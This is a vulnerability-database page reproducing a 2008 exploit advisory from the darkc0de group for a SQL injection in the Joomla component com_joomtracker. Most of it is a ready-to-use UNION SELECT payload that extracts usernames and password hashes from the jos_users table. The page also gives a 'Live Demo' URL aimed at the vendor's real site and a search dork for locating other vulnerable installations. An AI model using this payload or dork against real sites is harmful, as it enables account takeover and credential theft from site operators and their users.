Lucene search

joomlajoomtracker-sql.txt

🗓️ 09 Oct 2008 00:00:00Reported by rsauronType

packetstorm🔗 packetstormsecurity.com👁 20 Views

Joomla Component com_joomtracker Remote SQL Injection Vulnerabilit

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`################################################################   
# .___ __ _______ .___ #   
# __| _/____ _______| | __ ____ \ _ \ __| _/____ #   
# / __ |\__ \\_ __ \ |/ // ___\/ /_\ \ / __ |/ __ \ #   
# / /_/ | / __ \| | \/ <\ \___\ \_/ \/ /_/ \ ___/ #   
# \____ |(______/__| |__|_ \\_____>\_____ /\_____|\____\ #   
# \/ \/ \/ #   
# ___________ ______ _ __ #   
# _/ ___\_ __ \_/ __ \ \/ \/ / #   
# \ \___| | \/\ ___/\ / #   
# \___ >__| \___ >\/\_/ #   
# est.2007 \/ \/ forum.darkc0de.com #   
################################################################   
# d3hydr8 - rsauron - baltazar - C1c4Tr1Z - beenu - P47tr1ck #   
# and all darkc0de members #   
################################################################   
#   
# Author: rsauron   
#   
# Home : www.darkc0de.com  
#   
# Email : [email protected]   
#   
# Share the c0de!   
#   
################################################################   
#   
# Type: Joomla Component com_joomtracker Remote SQL Injection Vulnerability  
#  
# Title: Joomtracker XBT external bittorrent tracker  
#  
# Vendor: http://www.joomtracker.org/  
#   
################################################################   
#  
# d0rk: "Powered by Joomtracker"  
#  
################################################################   
POC :-   
  
index.php?option=com_joomtracker&task=tordetails&id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/jos_users/*   
  
Live Demo:   
  
http://www.joomtracker.org/index.php?option=com_joomtracker&task=tordetails&id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/0,1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/from/**/jos_users/*  
  
################################################################   
# Bug discovered : 08 Oct.2008  
################################################################  
  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

09 Oct 2008 00:00Current

7.4High risk

Vulners AI Score7.4